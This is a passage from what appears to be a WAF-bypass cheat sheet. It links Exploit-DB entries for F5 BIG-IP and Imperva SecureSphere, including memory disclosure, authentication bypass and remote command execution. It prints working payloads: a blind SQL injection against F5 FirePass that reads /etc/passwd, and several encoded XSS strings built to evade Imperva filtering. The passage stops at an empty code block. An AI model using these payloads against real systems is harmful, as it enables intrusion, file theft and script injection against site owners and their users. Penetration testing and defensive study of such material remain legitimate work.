BIG-IP 11.6 SSL Virtual Server - 'Ticketbleed' Memory Disclosure](https://www.exploit-db.com/exploits/44446) by [@0x00String](https://www.exploit-db.com/?author=7028). - [F5 BIG-IP Remote Root Authentication Bypass Vulnerability](https://www.exploit-db.com/exploits/19091) by [@Rel1k](https://www.exploit-db.com/?author=1593). ### F5 FirePass - SQLi Bypass from [@Anonymous](https://www.exploit-db.com/?author=2168) ``` state=%2527+and+ (case+when+SUBSTRING(LOAD_FILE(%2527/etc/passwd%2527),1,1)=char(114)+then+ BENCHMARK(40000000,ENCODE(%2527hello%2527,%2527batman%2527))+else+0+end)=0+--+ ``` ### __Imperva SecureSphere__ - [Imperva SecureSphere 13 - Remote Command Execution](https://www.exploit-db.com/exploits/45542) by [@rsp3ar](https://www.exploit-db.com/?author=9396) - XSS Bypass by [@Alra3ees](https://twitter.com/alra3ees) ``` anythinglr00uxldz anythinglr00%3c%2fscript%3e%3cscript%3ealert(document.domain)%3c%2fscript%3euxldz ``` - XSS Bypass by [@WAFNinja](https://waf.ninja) ``` %3Cimg%2Fsrc%3D%22x%22%2Fonerror%3D%22prom%5Cu0070t%2526%2523x28%3B%2526%2523x27%3B%2526%2523x58%3B%2526%2523x53%3B%2526%2523x53%3B%2526%2523x27%3B%2526%2523x29%3B%22%3E ``` - XSS Bypass by [@i_bo0om](https://twitter.com/i_bo0om) ```